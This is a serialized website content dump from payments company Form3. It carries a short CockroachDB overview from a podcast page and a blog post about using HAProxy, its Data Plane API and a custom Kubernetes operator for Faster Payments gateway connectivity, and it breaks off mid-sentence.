episode.",[],"rich_text$17778b37-f0dd-4f11-97cf-a8fd5d7f9354",{"variation":459,"version":481,"items":16729,"primary":16730,"id":16747,"slice_type":506,"slice_label":13},[],{"eyebrow":13,"heading":16731,"body":16735,"cta_label":1304,"cta_link":16738,"aside_type":13,"aside_image":16741,"aside_video":16742,"aside_video_poster":16743,"aside_video_reduced_motion":16744,"aside_video_url":13,"aside_embed":16745,"pardot_form_url":13,"form_submit_label":13,"form_variant":497,"form_heading":13,"redirect_on_success":16746,"theme":500,"overlay_pattern":501,"background_continuation":502,"media_position":503,"aside_vertical_align":504},[16732],{"type":465,"text":16733,"spans":16734},"Ep 23 .tech - Running Cockroach DB",[],[16736],{"type":396,"text":1302,"spans":16737},[],{"link_type":453,"key":16739,"url":16740},"2f98d013-a5b5-4feb-9736-9f74454773b0","https:\u002F\u002Ftechpodcast.form3.tech\u002Fepisodes\u002Fep-23-tech-running-cockroach-db-mmjHHfC2",{},{"link_type":493},{},{},{},{"link_type":499},"content_block$d35dfb42-1eb5-4dde-86ab-f417f633227b",{"variation":459,"version":460,"items":16749,"primary":16750,"id":16792,"slice_type":479,"slice_label":13},[],{"body":16751},[16752,16755,16758,16761,16767,16773,16780,16786],{"type":465,"text":16753,"spans":16754},"Introduction to CockroachDB",[],{"type":396,"text":16756,"spans":16757},"The elevator pitch of CockroachDB is that it is a horizontally scalable, relational database.",[],{"type":396,"text":16759,"spans":16760},"CockroachDB bridges the gap between the existing database offerings. It gives you a SQL database that is Postgres dialect compatible, ACID compliance and horizontally scalability by adding more nodes. It can also be run in any public and private cloud provider, or any hardware.",[],{"type":396,"text":16762,"spans":16763},"CockroachDB provides serialializable isolation, which protects from all data anomalies.",[16764],{"start":706,"end":589,"type":744,"data":16765},{"link_type":453,"url":16766},"https:\u002F\u002Fwww.postgresql.org\u002Fdocs\u002F9.5\u002Ftransaction-iso.html#:~:text=Serializable%20Isolation%20Level",{"type":396,"text":16768,"spans":16769},"In a cluster, nodes use RAFT based consensus. Nodes must agree on the value of the data before it is written, offering immediate consistency. This is especially important for industries like Form3, where we deal with payments data which must be absolutely consistent. ",[16770],{"start":1381,"end":2015,"type":744,"data":16771},{"link_type":453,"url":16772},"https:\u002F\u002Fwww.cockroachlabs.com\u002Fblog\u002Fraft-is-so-fetch\u002F",{"type":396,"text":16774,"spans":16775},"CockroachDB presents itself as a normal relational database with a SQL API, but under the bonnet it splits up the data into key-value stores and moves them across nodes. It uses forked version of RocksDB, which is a consistent key value store, and then allocates the data across the cluster nodes. This makes it easy to add and remove nodes from the CockroachDB cluster.",[16776],{"start":2815,"end":16777,"type":744,"data":16778},203,{"link_type":453,"url":16779},"https:\u002F\u002Fwww.cockroachlabs.com\u002Fblog\u002Fcockroachdb-on-rocksd\u002F",{"type":1101,"text":16781,"spans":16782},"Data is split in 512 MiB data ranges. Nearly every operation is done at the range level.",[16783],{"start":967,"end":546,"type":744,"data":16784},{"link_type":453,"url":16785},"https:\u002F\u002Fwww.cockroachlabs.com\u002Fdocs\u002Fstable\u002Farchitecture\u002Fdistribution-layer.html#range-splits",{"type":1101,"text":16787,"spans":16788},"Each range has a replication factor of 3. One of the replicated ranges gets elected as a leaseholder and it controls all the reads and writes on that data range. This allows Cockroach to scale the operations on the range level.",[16789],{"start":709,"end":2296,"type":744,"data":16790},{"link_type":453,"url":16791},"https:\u002F\u002Fwww.cockroachlabs.com\u002Fdocs\u002Fv21.2\u002Farchitecture\u002Freads-and-writes-overview.html","rich_text$9c8a0c59-dafd-4856-9620-f60f59035d14",{"variation":459,"version":460,"items":16794,"primary":16795,"id":16821,"slice_type":479,"slice_label":13},[],{"body":16796},[16797,16800,16803,16809,16815],{"type":465,"text":16798,"spans":16799},"Running CockroachDB",[],{"type":396,"text":16801,"spans":16802},"There are a few different ways to run CockroachDB:",[],{"type":582,"text":16804,"spans":16805},"Self-hosted allows you to deploy the cluster yourself by downloading the binary or Kubernetes using a Docker image.\nundefinedundefinedundefined",[16806],{"start":17,"end":1998,"type":744,"data":16807},{"link_type":453,"url":16808},"https:\u002F\u002Fwww.cockroachlabs.com\u002Fdocs\u002Fstable\u002Fdeploy-cockroachdb-on-premises.html",{"type":582,"text":16810,"spans":16811},"CockroachDB Cloud is a PaaS offering for CockroachDB, which is proving popular with a lot of small to medium size customers.\nundefinedundefinedundefinedundefined",[16812],{"start":17,"end":967,"type":744,"data":16813},{"link_type":453,"url":16814},"https:\u002F\u002Fwww.cockroachlabs.com\u002Fblog\u002Fgetting-started-with-cockroachcloud\u002F",{"type":582,"text":16816,"spans":16817},"CockroachDB Serverless is the newest offering. It is a consumption based model for CockroachDB.\nundefinedundefinedundefined",[16818],{"start":17,"end":579,"type":744,"data":16819},{"link_type":453,"url":16820},"https:\u002F\u002Fwww.cockroachlabs.com\u002Fblog\u002Fhow-we-built-cockroachdb-serverless\u002F","rich_text$c46337f1-3b5d-433d-abf8-813f4c1e1985",{"id":16823,"uid":16824,"url":16825,"type":406,"href":16826,"tags":16827,"first_publication_date":16687,"last_publication_date":16828,"slugs":16829,"linked_documents":16831,"lang":386,"alternate_languages":16832,"data":16833},"alz1PxEAAC4AUWio","millions-payments-haproxy","\u002Fresources\u002Fengineering-blog\u002Fmillions-payments-haproxy","https:\u002F\u002Fform3-website.cdn.prismic.io\u002Fapi\u002Fv2\u002Fdocuments\u002Fsearch?ref=apjJ1BEAAC0AJxzl&q=%5B%5B%3Ad+%3D+at%28document.id%2C+%22alz1PxEAAC4AUWio%22%29+%5D%5D",[],"2026-09-02T18:58:41+0000",[16830],"too-long-didnt-read",[],[],{"title":16834,"excerpt":16835,"card_image":16836,"published_date":16839,"reading_time":3400,"tag":206,"dek":13,"featured_image":16840,"about_form3":16841,"client_about_heading":13,"client_about_body":16842,"author_name":16843,"author_title":16844,"author_photo":16845,"author_bio":16850,"author_linkedin":16854,"slices":16857,"meta_title":16834,"meta_description":16835},"HAProxyConf 2021: Processing Millions of Payments Through a Cloud Native Infrastructure with HAProxy","Processing real-time payments requires reliable and secure infrastructure, and as the daily volume at Form3 is expressed in millions, the stakes are extraordinarily high.",{"dimensions":16837,"alt":15418,"copyright":13,"url":15419,"id":15420,"edit":16838},{"width":420,"height":420},{"x":17,"y":17,"zoom":18,"background":19},"2022-01-05",{},[],[],"Brendan Devenney","Lead Software Engineer",{"dimensions":16846,"alt":16843,"copyright":13,"url":16847,"id":16848,"edit":16849},{"width":443,"height":1281},"\u002F_prismic-media\u002F855b252224b46efa-AARAIN7AahtTz8Cp_2385d56e-f867-49cf-8121-deef6da.jpeg","AARAIN7AahtTz8Cp",{"x":17,"y":17,"zoom":18,"background":424},[16851],{"type":396,"text":16852,"spans":16853},"Brendan is a software engineer with a history of defensive programming in high-value environments. He has had an eclectic career path from embedded software instrumentation and performance engineering, through API security and cloud platform architecture, to building the future of banking.",[],{"link_type":453,"key":16855,"url":16856,"target":456},"0cc98341-847b-487d-a463-0324a027d040","https:\u002F\u002Fwww.linkedin.com\u002Fin\u002Fbrendan-devenney\u002F",[16858,16874,16896,16907,16915,16936,16947,16967,16978,17009,17018,17026,17048,17056,17064,17086,17094,17102,17127,17138,17151,17173,17181,17201,17222,17230,17244],{"variation":459,"version":460,"items":16859,"primary":16860,"id":16873,"slice_type":479,"slice_label":13},[],{"body":16861},[16862],{"type":396,"text":16863,"spans":16864},"Note: This blog post is based on material shared at HAProxyConf 2021 by Brendan Devenney and Piotr Olchawa.",[16865,16868,16870],{"start":547,"end":518,"type":744,"data":16866},{"link_type":453,"url":16867,"target":456},"https:\u002F\u002Fwww.haproxyconf.com\u002F",{"start":1729,"end":519,"type":744,"data":16869},{"link_type":453,"url":16856,"target":456},{"start":5029,"end":3944,"type":744,"data":16871},{"link_type":453,"url":16872,"target":456},"https:\u002F\u002Fwww.linkedin.com\u002Fin\u002Fpolchawa\u002F","rich_text$566d35aa-df5f-407a-b691-8c5c1e4f4009",{"variation":459,"version":460,"items":16875,"primary":16876,"id":16895,"slice_type":479,"slice_label":13},[],{"body":16877},[16878,16881,16886,16892],{"type":1097,"text":16879,"spans":16880,"direction":4053},"Too long; didn’t read",[],{"type":582,"text":16882,"spans":16883,"direction":4053},"Kubernetes operators are literally magic.",[16884],{"start":17,"end":3298,"type":744,"data":16885},{"link_type":453,"url":16045,"target":456},{"type":582,"text":16887,"spans":16888,"direction":4053},"The HAProxy Data Plane API can be used for safe, dynamic, reproducible configuration - no need for any manual work!",[16889],{"start":1333,"end":596,"type":744,"data":16890},{"link_type":453,"url":16891,"target":456},"https:\u002F\u002Fgithub.com\u002Fhaproxytech\u002Fdataplaneapi",{"type":582,"text":16893,"spans":16894,"direction":4053},"We built a Kubernetes operator to drive the Data Plane API, allowing us to dynamically configure live production load balanacers without fear!",[],"rich_text$f3df8550-b233-49a9-af85-1b18fd8f9602",{"variation":459,"version":460,"items":16897,"primary":16898,"id":16906,"slice_type":14632,"slice_label":13},[],{"headline":13,"sub_headline":13,"embed":16899,"caption":13},{"embed_url":16900,"type":14622,"version":14623,"title":16901,"author_name":16902,"author_url":16903,"provider_name":284,"provider_url":14627,"thumbnail_url":16904,"thumbnail_width":14629,"thumbnail_height":3835,"html":16905,"height":5615,"width":12494},"https:\u002F\u002Fwww.youtube.com\u002Fwatch?v=19lTPoYx0Dg","Processing Millions of Payments Through a Cloud-native Infrastructure with HAProxy - Form3","HAProxy Technologies","https:\u002F\u002Fwww.youtube.com\u002F@HAProxyTechnologies","https:\u002F\u002Fi.ytimg.com\u002Fvi\u002F19lTPoYx0Dg\u002Fhqdefault.jpg","\u003Ciframe width=\"200\" height=\"113\" src=\"https:\u002F\u002Fwww.youtube.com\u002Fembed\u002F19lTPoYx0Dg?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" allowfullscreen title=\"Processing Millions of Payments Through a Cloud-native Infrastructure with HAProxy - Form3\">\u003C\u002Fiframe>","embed$5803a80b-b7af-44f2-94b7-e0e359bf9d73",{"variation":459,"version":460,"items":16908,"primary":16909,"id":16914,"slice_type":479,"slice_label":13},[],{"body":16910},[16911],{"type":1097,"text":16912,"spans":16913,"direction":4053},"Faster Payments Scheme",[],"rich_text$0b31afc8-23c0-4c2f-846f-2b013def5fa1",{"variation":459,"version":481,"items":16916,"primary":16917,"id":16935,"slice_type":506,"slice_label":13},[],{"eyebrow":13,"heading":16918,"body":16919,"cta_label":13,"cta_link":16923,"aside_type":488,"aside_image":16924,"aside_video":16930,"aside_video_poster":16931,"aside_video_reduced_motion":16932,"aside_video_url":13,"aside_embed":16933,"pardot_form_url":13,"form_submit_label":13,"form_variant":497,"form_heading":13,"redirect_on_success":16934,"theme":500,"overlay_pattern":501,"background_continuation":502,"media_position":503,"aside_vertical_align":504},[],[16920],{"type":396,"text":16921,"spans":16922,"direction":4053},"As a single-integration payment platform, it is our responsibility to integrate with a rapidly growing list of payment schemes across the world. From international SWIFT payments, to the Single European Payment Area, to a place closer to home – at least for me – in the Faster Payments System.",[],{"link_type":487},{"dimensions":16925,"alt":13,"copyright":13,"url":16927,"id":16928,"edit":16929},{"width":16926,"height":973},802,"\u002F_prismic-media\u002F5cb16473f2b03612-PFvHlmEU7GIpuoZh_d7671e92-280a-47f2-846e-29d99c7.png","PFvHlmEU7GIpuoZh",{"x":17,"y":17,"zoom":18,"background":19},{"link_type":493},{},{},{},{"link_type":499},"content_block$15f0b418-0317-4cd2-acb4-32a93efa985b",{"variation":459,"version":460,"items":16937,"primary":16938,"id":16946,"slice_type":479,"slice_label":13},[],{"body":16939},[16940,16943],{"type":396,"text":16941,"spans":16942},"We recently delivered a presentation at HAProxyConf 2021 which recounted our quest to become a Faster Payments Gateway - more specifically how HAProxy helped us deal with a complex matrix of networking requirements, security controls, service level agreements, and maintenance schedules. The payments industry is very heavily regulated due to the extraordinarily high stakes.",[],{"type":396,"text":16944,"spans":16945},"Note: The important word to remember throughout this post is “faster”. Faster Payments must be handled in seconds or they will be reversed (returned to sender). There is no room for downtime as downtime has real impact on both the end users and the participant’s brand.",[],"rich_text$20127a12-8d9e-4344-94ca-4573b8763ed4",{"variation":459,"version":460,"items":16948,"primary":16949,"id":16966,"slice_type":479,"slice_label":13},[],{"body":16950},[16951,16954,16960],{"type":1097,"text":16952,"spans":16953,"direction":4053},"Faster than what?",[],{"type":396,"text":16955,"spans":16956,"direction":4053},"The Faster Payments Service interconnects banks in the UK, with its key aim being to reduce bank-to-bank transfer times from the three days in case of BACS – or the “by end of working day” in case of CHAPS - to only a few seconds. You can see the stark contrast in requirements already; the FPS scheme is very ambitious, but also more aligned with the modern world. As such, the scheme expects gateways and participants to be always-on.",[16957],{"start":667,"end":2744,"type":744,"data":16958},{"link_type":453,"url":16959,"target":456},"https:\u002F\u002Fwww.fasterpayments.org.uk\u002F",{"type":396,"text":16961,"spans":16962,"direction":4053},"The stats speak for themselves: the scheme processed over 2.9 billion payments with a combined value of over £2.1 trillion in 2020[ref], with Form3 trending towards 400 million payments processed in 2021. I will leave you to do the maths and work out the percentages here, otherwise I will never sleep again!",[16963],{"start":11763,"end":2074,"type":744,"data":16964},{"link_type":453,"url":16965,"target":456},"https:\u002F\u002Fnewseventsinsights.wearepay.uk\u002Fdata-and-insights\u002Ffaster-payment-system-statistics\u002F","rich_text$c320b721-4d46-4e30-af1e-121309a2f43c",{"variation":459,"version":460,"items":16968,"primary":16969,"id":16977,"slice_type":479,"slice_label":13},[],{"body":16970},[16971,16974],{"type":1097,"text":16972,"spans":16973,"direction":4053},"Main actors",[],{"type":396,"text":16975,"spans":16976,"direction":4053},"The Faster Payments System has three main actors:",[],"rich_text$e4d26351-99a4-40ed-be17-c664df684c79",{"variation":459,"version":481,"items":16979,"primary":16980,"id":17008,"slice_type":506,"slice_label":13},[],{"eyebrow":13,"heading":16981,"body":16982,"cta_label":13,"cta_link":16995,"aside_type":488,"aside_image":16996,"aside_video":17003,"aside_video_poster":17004,"aside_video_reduced_motion":17005,"aside_video_url":13,"aside_embed":17006,"pardot_form_url":13,"form_submit_label":13,"form_variant":497,"form_heading":13,"redirect_on_success":17007,"theme":500,"overlay_pattern":501,"background_continuation":502,"media_position":503,"aside_vertical_align":504},[],[16983,16986,16992],{"type":582,"text":16984,"spans":16985,"direction":4053},"Participants: the banks which act on behalf of their customers. They connect to a gateway in order to send and receive payments.",[],{"type":582,"text":16987,"spans":16988,"direction":4053},"Gateways: the systems which connect Participants to the Central Infrastructure. In some rare cases, Participants are also Gateways, such as Monzo who famously built their own gateway to take full control of their destiny.",[16989],{"start":1549,"end":1420,"type":744,"data":16990},{"link_type":453,"url":16991,"target":456},"https:\u002F\u002Fmonzo.com\u002Fblog\u002Fhow-we-moved-our-faster-payments-connection-in-house",{"type":582,"text":16993,"spans":16994,"direction":4053},"Central Infrastructure: Sometimes simply referred to as “the scheme,” this is the core of the Faster Payments System through which all payments flow. It is the single source of truth, the ledger, and the deity that we all pray to before bedtime.",[],{"link_type":487},{"dimensions":16997,"alt":13,"copyright":13,"url":17000,"id":17001,"edit":17002},{"width":16998,"height":16999},840,1137,"\u002F_prismic-media\u002F785a732442b1ca54-r50QSFypwbSqObI3_42201c66-44aa-4a57-986d-52d0942.png","r50QSFypwbSqObI3",{"x":17,"y":17,"zoom":18,"background":19},{"link_type":493},{},{},{},{"link_type":499},"content_block$595d624b-ad47-4165-815b-6c978f79dacb",{"variation":459,"version":460,"items":17010,"primary":17011,"id":17017,"slice_type":479,"slice_label":13},[],{"body":17012},[17013],{"type":396,"text":17014,"spans":17015},"To keep things simple, we will ignore the Bank of England – probably the only time in my career I will ever be able to say that. For the context of this discussion, keep in mind that Form3 act as agateway. This means we have to worry about both Central Infrastructure (Scheme) and Participant connectivity.",[17016],{"start":8032,"end":2357,"type":780},"rich_text$31c01bc4-1e45-41e1-843e-ffe3358ce596",{"variation":459,"version":460,"items":17019,"primary":17020,"id":17025,"slice_type":479,"slice_label":13},[],{"body":17021},[17022],{"type":1097,"text":17023,"spans":17024,"direction":4053},"Scheme Connectivity",[],"rich_text$f9b454c9-16e6-4249-b347-07c3a95bcd26",{"variation":459,"version":481,"items":17027,"primary":17028,"id":17047,"slice_type":506,"slice_label":13},[],{"eyebrow":13,"heading":17029,"body":17030,"cta_label":13,"cta_link":17034,"aside_type":488,"aside_image":17035,"aside_video":17042,"aside_video_poster":17043,"aside_video_reduced_motion":17044,"aside_video_url":13,"aside_embed":17045,"pardot_form_url":13,"form_submit_label":13,"form_variant":497,"form_heading":13,"redirect_on_success":17046,"theme":500,"overlay_pattern":501,"background_continuation":502,"media_position":503,"aside_vertical_align":504},[],[17031],{"type":396,"text":17032,"spans":17033,"direction":4053},"Integration with the Central Infrastructure is based on persistent connections. These connections are evenly distributed across two data centres for redundancy, but that does not mean we can happily tolerate losing any of these connections.",[],{"link_type":487},{"dimensions":17036,"alt":13,"copyright":13,"url":17039,"id":17040,"edit":17041},{"width":17037,"height":17038},3162,1462,"\u002F_prismic-media\u002Fb9094191efbf75a4-lk3mQqMQaf5rkBt__754ca524-091c-42e6-a8a9-0205f7a.png","lk3mQqMQaf5rkBt_",{"x":17,"y":17,"zoom":18,"background":19},{"link_type":493},{},{},{},{"link_type":499},"content_block$e59f7147-c147-4bbb-bf2f-669495cdc66f",{"variation":459,"version":460,"items":17049,"primary":17050,"id":17055,"slice_type":479,"slice_label":13},[],{"body":17051},[17052],{"type":396,"text":17053,"spans":17054},"All requests must be responded to on the exact connection they were received on. If the connection disappears between the two phases, the payment is lost to the ether. This generally leads to a reversal. That is, an end user sees a transaction fail - bad for them and bad for their trust in the bank.",[],"rich_text$7ac007ba-848c-40d5-8815-ed0d46f28d93",{"variation":459,"version":460,"items":17057,"primary":17058,"id":17063,"slice_type":479,"slice_label":13},[],{"body":17059},[17060],{"type":1097,"text":17061,"spans":17062,"direction":4053},"Participant Connectivity",[],"rich_text$4feffd1f-f68c-4186-a17f-d9506aedb270",{"variation":459,"version":481,"items":17065,"primary":17066,"id":17085,"slice_type":506,"slice_label":13},[],{"eyebrow":13,"heading":17067,"body":17068,"cta_label":13,"cta_link":17072,"aside_type":488,"aside_image":17073,"aside_video":17080,"aside_video_poster":17081,"aside_video_reduced_motion":17082,"aside_video_url":13,"aside_embed":17083,"pardot_form_url":13,"form_submit_label":13,"form_variant":497,"form_heading":13,"redirect_on_success":17084,"theme":500,"overlay_pattern":501,"background_continuation":502,"media_position":503,"aside_vertical_align":504},[],[17069],{"type":396,"text":17070,"spans":17071,"direction":4053},"On the participant side of the connectivity problem, our architecture requires all traffic to ingress to a single site. This gives us an “open” and a “closed” site. There must always be exactly one open site for the MQ solution to remain operational. MQ itself also uses persistent connections - the architecture is based on unidirectional channels which, when interrupted, cause a complete outage. The death of an MQ channel is equivalent to the death of an HTTP(S) server.",[],{"link_type":487},{"dimensions":17074,"alt":13,"copyright":13,"url":17077,"id":17078,"edit":17079},{"width":17075,"height":17076},1338,902,"\u002F_prismic-media\u002F1edf98302b47e66b-Lv7MPyMtnRx4SPp-_b0dd905b-d089-4d10-881e-e6d21d3.png","Lv7MPyMtnRx4SPp-",{"x":17,"y":17,"zoom":18,"background":19},{"link_type":493},{},{},{},{"link_type":499},"content_block$bd01b571-440a-4dcb-bea1-4574df8daceb",{"variation":459,"version":460,"items":17087,"primary":17088,"id":17093,"slice_type":479,"slice_label":13},[],{"body":17089},[17090],{"type":396,"text":17091,"spans":17092},"To ensure that we have one open site at any given moment, we use the Virtual Router Redundancy Protocol (VRRP). This turns a collection of servers into a virtual router in which, at any time, exactly one member is the master.",[],"rich_text$716eb52c-3be1-48de-ba06-1b54c7d59257",{"variation":459,"version":460,"items":17095,"primary":17096,"id":17101,"slice_type":479,"slice_label":13},[],{"body":17097},[17098],{"type":1097,"text":17099,"spans":17100,"direction":4053},"Isn’t this an HAProxy article?",[],"rich_text$6e735f9f-9070-40a9-beac-7226c82a5d0e",{"variation":459,"version":481,"items":17103,"primary":17104,"id":17126,"slice_type":506,"slice_label":13},[],{"eyebrow":13,"heading":17105,"body":17106,"cta_label":13,"cta_link":17113,"aside_type":488,"aside_image":17114,"aside_video":17121,"aside_video_poster":17122,"aside_video_reduced_motion":17123,"aside_video_url":13,"aside_embed":17124,"pardot_form_url":13,"form_submit_label":13,"form_variant":497,"form_heading":13,"redirect_on_success":17125,"theme":500,"overlay_pattern":501,"background_continuation":502,"media_position":503,"aside_vertical_align":504},[],[17107],{"type":396,"text":17108,"spans":17109,"direction":4053},"These virtual routers sit at the edge of the DMZ between Form3 and the extranet (a private network shared with the scheme and our participants). This, unfortunately, rules out the use of the HAProxy Kubernetes Ingress Controller as our HAProxy nodes exist outside of our processing clusters. For those of you who like to skip to the end of a story, a spoiler: we wrote our own controller!",[17110],{"start":2391,"end":2048,"type":744,"data":17111},{"link_type":453,"url":17112,"target":456},"https:\u002F\u002Fgithub.com\u002Fhaproxytech\u002Fkubernetes-ingress",{"link_type":487},{"dimensions":17115,"alt":13,"copyright":13,"url":17118,"id":17119,"edit":17120},{"width":17116,"height":17117},2873,1310,"\u002F_prismic-media\u002F71a694f47282d49d-VuN6iU3z2igYbZf7_d50ba58a-6b8a-4889-882d-372e731.png","VuN6iU3z2igYbZf7",{"x":17,"y":17,"zoom":18,"background":19},{"link_type":493},{},{},{},{"link_type":499},"content_block$508a202a-6409-45d0-937a-565a2cdaab44",{"variation":459,"version":460,"items":17128,"primary":17129,"id":17137,"slice_type":479,"slice_label":13},[],{"body":17130},[17131,17134],{"type":396,"text":17132,"spans":17133},"After passing through the firewall to the DMZ, traffic will be routed to the HAProxy installation at the “open” site. This will then forward the traffic onto the relevant nodes in our Kubernetes cluster.",[],{"type":396,"text":17135,"spans":17136},"How, then, do we dynamically configure HAProxy to be aware of our ever-changing Kubernetes cluster and ensure that this configuration survives scorched earth rebuilds?",[],"rich_text$985f84b8-c9d6-4bcb-9f10-f8701fc29c65",{"variation":459,"version":460,"items":17139,"primary":17140,"id":17150,"slice_type":479,"slice_label":13},[],{"body":17141},[17142,17145],{"type":1097,"text":17143,"spans":17144,"direction":4053},"Data Plane API",[],{"type":396,"text":17146,"spans":17147,"direction":4053},"As some of you will be aware, it is possible to achieve API-driven configuration of HAProxy via the Data Plane API. This runs as a sidecar process, translating API payloads into configuration changes on-disk and managing process reloads when necessary.",[17148],{"start":2296,"end":2068,"type":744,"data":17149},{"link_type":453,"url":16891,"target":456},"rich_text$959a1e91-ce00-4de2-bedb-203ace27d047",{"variation":459,"version":481,"items":17152,"primary":17153,"id":17172,"slice_type":506,"slice_label":13},[],{"eyebrow":13,"heading":17154,"body":17155,"cta_label":13,"cta_link":17159,"aside_type":488,"aside_image":17160,"aside_video":17167,"aside_video_poster":17168,"aside_video_reduced_motion":17169,"aside_video_url":13,"aside_embed":17170,"pardot_form_url":13,"form_submit_label":13,"form_variant":497,"form_heading":13,"redirect_on_success":17171,"theme":500,"overlay_pattern":501,"background_continuation":502,"media_position":503,"aside_vertical_align":504},[],[17156],{"type":396,"text":17157,"spans":17158,"direction":4053},"The Data Plane API maintains all of the HAProxy terminology we are familiar with – frontends, backends, servers – but also provides some abstractions to ease the burden of management. One such concept is the SiteFarm – an abstraction which makes it extremely easy to create a simple “site” with multiple backend servers. Depending on your use case, these abstractions may help or hinder – configurability is sacrificed in favour of this frictionless usage.",[],{"link_type":487},{"dimensions":17161,"alt":13,"copyright":13,"url":17164,"id":17165,"edit":17166},{"width":17162,"height":17163},1210,1599,"\u002F_prismic-media\u002F1f0d28f3a71c127f-RkP5Kpp0vzv9DWGT_8725baa6-cae3-47f9-9b73-504b04c.png","RkP5Kpp0vzv9DWGT",{"x":17,"y":17,"zoom":18,"background":19},{"link_type":493},{},{},{},{"link_type":499},"content_block$f6f0a207-0893-4295-8231-6f8deca8aaae",{"variation":459,"version":460,"items":17174,"primary":17175,"id":17180,"slice_type":479,"slice_label":13},[],{"body":17176},[17177],{"type":396,"text":17178,"spans":17179},"On top of this, the Data Plane API is transactional. The user can build multiple changes into a single transaction – for example, you wish to delete one backend server and add another – and commit these all at once. In this example, without transactions, this could result in old backend servers being removed without new ones being added. Transactions make changes to running load balancers safe.",[],"rich_text$b64c5d12-2695-48df-b1be-b889666906cd",{"variation":459,"version":460,"items":17182,"primary":17183,"id":17200,"slice_type":479,"slice_label":13},[],{"body":17184},[17185,17188,17191,17194,17197],{"type":1097,"text":17186,"spans":17187,"direction":4053},"Kubernetes Operators",[],{"type":396,"text":17189,"spans":17190,"direction":4053},"Now, an abrupt change of topic – but I promise it will come together soon. Kubernetes operators.",[],{"type":396,"text":17192,"spans":17193,"direction":4053},"Human operators who look after specific applications and services have deep knowledge of how the system ought to behave, how to deploy it, and how to react if there are problems People who run such workloads - on Kubernetes or otherwise - often make use of automation to take care of repeatable tasks.",[],{"type":396,"text":17195,"spans":17196,"direction":4053},"The Kubernetes Operator pattern captures how you can write code to automate a task beyond what Kubernetes itself provides. The pattern aims to capture the key aim of a human operator who is managing a service or set of services.",[],{"type":396,"text":17198,"spans":17199,"direction":4053},"Kubernetes Operators make use of the control loop. In robotics and automation, a control loop is a non-terminating loop that regulates the state of a system. One example of a control loop is a thermostat in a room. When you set the temperature, you are telling the thermostat about your desired state. The actual room temperature is the current state.",[],"rich_text$d25db7e7-c910-4754-812f-11b5271fc831",{"variation":459,"version":481,"items":17202,"primary":17203,"id":17221,"slice_type":506,"slice_label":13},[],{"eyebrow":13,"heading":17204,"body":17205,"cta_label":13,"cta_link":17209,"aside_type":488,"aside_image":17210,"aside_video":17216,"aside_video_poster":17217,"aside_video_reduced_motion":17218,"aside_video_url":13,"aside_embed":17219,"pardot_form_url":13,"form_submit_label":13,"form_variant":497,"form_heading":13,"redirect_on_success":17220,"theme":500,"overlay_pattern":501,"background_continuation":502,"media_position":503,"aside_vertical_align":504},[],[17206],{"type":396,"text":17207,"spans":17208,"direction":4053},"The thermostat acts to bring the current state closer to the desired state, by turning equipment on or off. In our case, we refer to this at observing the state of HAProxy configuration, calculating the difference between observed state and desired state, and updating the HAProxy configuration to align.",[],{"link_type":487},{"dimensions":17211,"alt":13,"copyright":13,"url":17213,"id":17214,"edit":17215},{"width":17212,"height":5266},1420,"\u002F_prismic-media\u002F1d70d72485560410-zA9eRqbBvmF9xiTy_898061f1-2982-49c5-8547-13084b1.png","zA9eRqbBvmF9xiTy",{"x":17,"y":17,"zoom":18,"background":19},{"link_type":493},{},{},{},{"link_type":499},"content_block$9639ff93-b1e5-46dc-b470-a5e995256313",{"variation":459,"version":460,"items":17223,"primary":17224,"id":17229,"slice_type":479,"slice_label":13},[],{"body":17225},[17226],{"type":396,"text":17227,"spans":17228},"But how do we know the desired state in such a complex architecture?",[],"rich_text$c6bfa92e-7dfb-42b1-9923-9780c7149db7",{"variation":459,"version":460,"items":17231,"primary":17232,"id":17243,"slice_type":479,"slice_label":13},[],{"body":17233},[17234,17237,17240],{"type":1097,"text":17235,"spans":17236,"direction":4053},"Custom Resource Definitions",[],{"type":396,"text":17238,"spans":17239,"direction":4053},"The missing link here is Kubernetes custom resource definitions. Fundamentally, custom resources are extensions of the Kubernetes API that are not necessarily available in a default Kubernetes installation. It represents a customization of a particular Kubernetes installation. However, many core Kubernetes functions are now built using custom resources, making Kubernetes more modular.",[],{"type":396,"text":17241,"spans":17242,"direction":4053},"On their own, custom resources let you store and retrieve structured data. When you combine a custom resource with a custom controller, custom resources provide a true declarative API. That is, you declare the desired state of your resource and the controller keeps the current state in sync with your declared desired state. This is in contrast to an imperative API, where you instruct a server what to do.",[],"rich_text$fbbbeef5-119f-4331-9cc9-8fe8992f2ffe",{"variation":459,"version":460,"items":17245,"primary":17246,"id":17278,"slice_type":479,"slice_label":13},[],{"body":17247},[17248,17251,17254,17257,17260,17263,17266,17269],{"type":1097,"text":17249,"spans":17250,"direction":4053},"The Result: Dynamic HAProxy Configuration",[],{"type":396,"text":17252,"spans":17253,"direction":4053},"In our use case:",[],{"type":582,"text":17255,"spans":17256,"direction":4053},"We declare, at a high level in YAML, the desired state of a given organisation’s network ingress, egress, and security configuration.",[],{"type":582,"text":17258,"spans":17259,"direction":4053},"The operator observes that an Organisation resource has been created or updated.",[],{"type":582,"text":17261,"spans":17262,"direction":4053},"The control loop ensures that our low-level HAProxy config matches our high-level declared desired state.",[],{"type":582,"text":17264,"spans":17265,"direction":4053},"The operator updates our Organisation resource with fields such as finalizers which we will see in our upcoming demo.",[],{"type":396,"text":17267,"spans":17268,"direction":4053},"Thus, any undesired change to our HAProxy configuration – a virtual machine rebuild, a manual change, etc. – will be detected and rectified by the control loop. This gives us a repeatable, automated, reliable, and easily maintainable translation layer from business requirements to HAProxy configuration.",[],{"type":396,"text":17270,"spans":17271,"direction":4053},"If you’re interested in learning more, feel free to reach out to Brendan or Piotr via 